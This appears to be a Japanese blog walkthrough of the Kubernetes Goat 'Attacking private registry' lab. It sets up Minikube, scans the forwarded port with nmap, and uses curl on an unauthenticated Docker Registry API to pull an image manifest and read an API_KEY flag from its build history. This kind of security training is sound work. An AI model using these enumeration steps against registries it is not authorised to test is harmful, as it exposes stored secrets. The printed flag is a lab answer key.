Kubernetes Goatで脆弱なプライベートレジストリをハックしよう！
今回は、Kubernetes Goatを使って脆弱なDocker Registryを攻略し、フラグを取得する方法を解説する。初学者向けに、Minikubeのセットアップから詳しく説明していく。
Kubenetes Goatとは意図的に脆弱性のある環境構築されたクラスター群である。いわゆるやられマシン。その中で、一番おもしろそうだったマシン、すなわちAttacking private registryを攻略していく。
で、セットアップ終わったら127.0.0.1:1235にポートフォワーディングされた事がわかるが、事前の説明がないとDockerRegistryが本当に動いているかわからないので、Nmapでポートスキャンなどもして、納得が行くように書いた。RustScanとかもで良いと思う。
目次
環境準備
必要なツールのインストール
- Docker：コンテナを実行するために必要
- Minikube：ローカル環境でKubernetesクラスターを動かすためのツール
- kubectl：Kubernetesを操作するコマンドラインツール
Dockerのインストール
Docker公式サイトからDocker Desktopをダウンロードしてインストールする。
HomebrewでMinikubeとkubectlをインストール
brew update
brew install minikube kubectl
Minikubeの起動
minikube start
注意：エラーが出る場合は、Dockerが起動しているか確認する。
Minikubeのクリーンアップ（必要に応じて）
Minikubeの状態が不安定な場合は、一度削除して再作成する。
minikube delete
minikube start
Kubernetes Goatのセットアップ
リポジトリのクローン
git clone https://github.com/madhuakula/kubernetes-goat.git
cd kubernetes-goat
Kubernetes Goatのデプロイ
chmod +x setup-kubernetes-goat.sh
./setup-kubernetes-goat.sh
注意：kubectlが正しく設定されていることを確認する。
ポッドの確認
kubectl get pods
全てのポッドがRunningになっていることを確認する。
ポートフォワーディングの設定
chmod +x access-kubernetes-goat.sh
./access-kubernetes-goat.sh
これで、ローカルマシンのポート1230から1236に各サービスがフォワードされる。
脆弱なDocker Registryへのアクセス
ポートフォワーディングの確認
まず、kubectl port-forwardコマンドによってポートフォワーディングが正しく設定されているか確認する。
ps -ef | grep 'kubectl port-forward' | grep -v grep
コマンドの解説：
-
ps -ef：現在実行中の全てのプロセスを詳細表示する -
grep 'kubectl port-forward'：プロセス一覧からkubectl port-forwardを含む行を検索する -
grep -v grep：検索結果からgrepコマンド自体を除外する
出力例：
501 1893 1 0 7:43PM ttys000 0:00.19 kubectl port-forward poor-registry-deployment-xxxxx --address 0.0.0.0 1235:5000
poor-registry-deploymentがポート1235にフォワードされていることを確認する。
Nmapでポートをスキャン
nmapコマンドを使って、ローカルホストのポート1235が開いているか確認する。
nmap -sV -p 1235 127.0.0.1
コマンドの解説：
-
nmap：ネットワーク探索ツール -
-sV：サービスバージョン情報を検出する -
-p 1235：ポート1235を指定してスキャンする -
127.0.0.1：ローカルホストを指定
出力例：
PORT STATE SERVICE VERSION
1235/tcp open http Docker Registry (API: 2.0)
ポート1235でDocker Registryが稼働していることが確認できる。
Dockerイメージの調査
レジストリ内のリポジトリ一覧を取得
curl http://127.0.0.1:1235/v2/_catalog
出力例：
{"repositories":["madhuakula/k8s-goat-alpine","madhuakula/k8s-goat-users-repo"]}
リポジトリのタグを確認
curl http://127.0.0.1:1235/v2/madhuakula/k8s-goat-users-repo/tags/list
出力例：
{"name":"madhuakula/k8s-goat-users-repo","tags":["latest"]}
イメージのマニフェストを取得
Docker Registry APIを使って、イメージのマニフェストを取得する。
curl http://127.0.0.1:1235/v2/madhuakula/k8s-goat-users-repo/manifests/latest
コマンドの解説：
-
curl：HTTPリクエストを送信するコマンド -
http://127.0.0.1:1235/v2/.../manifests/latest：Docker Registry APIのエンドポイントで、指定したイメージのマニフェストを取得する
このコマンドで、madhuakula/k8s-goat-users-repoのlatestタグに対応するイメージのマニフェストが取得できる。
マニフェストには以下の情報が含まれる：
- イメージのレイヤー情報（
fsLayersセクション） - ビルド履歴（
historyセクション） - 環境変数や設定（
v1Compatibility内）
マニフェストを解析することで、イメージ内に隠された情報やフラグを見つけることができる。
フラグの取得
マニフェストから環境変数を確認
マニフェストのhistoryセクションに注目。
例：
"Env":[
"PATH=/usr/local/bin:...",
"LANG=C.UTF-8",
"API_KEY=k8s-goat-cf658c56a501385205cc6d2dafee8fc1"
]
API_KEYにフラグが含まれている。
フラグの確認
k8s-goat-cf658c56a501385205cc6d2dafee8fc1
このAPI_KEYがフラグとなる。
まとめ
- 脆弱なDocker Registryにアクセスし、レジストリ内のイメージを調査することでフラグを取得した。
以上が、Kubernetes Goatで脆弱なDocker Registryを攻略する手順です。だれでも理解しやすいように、コマンドと共に解説したので、ぜひ参考にしてほしいです！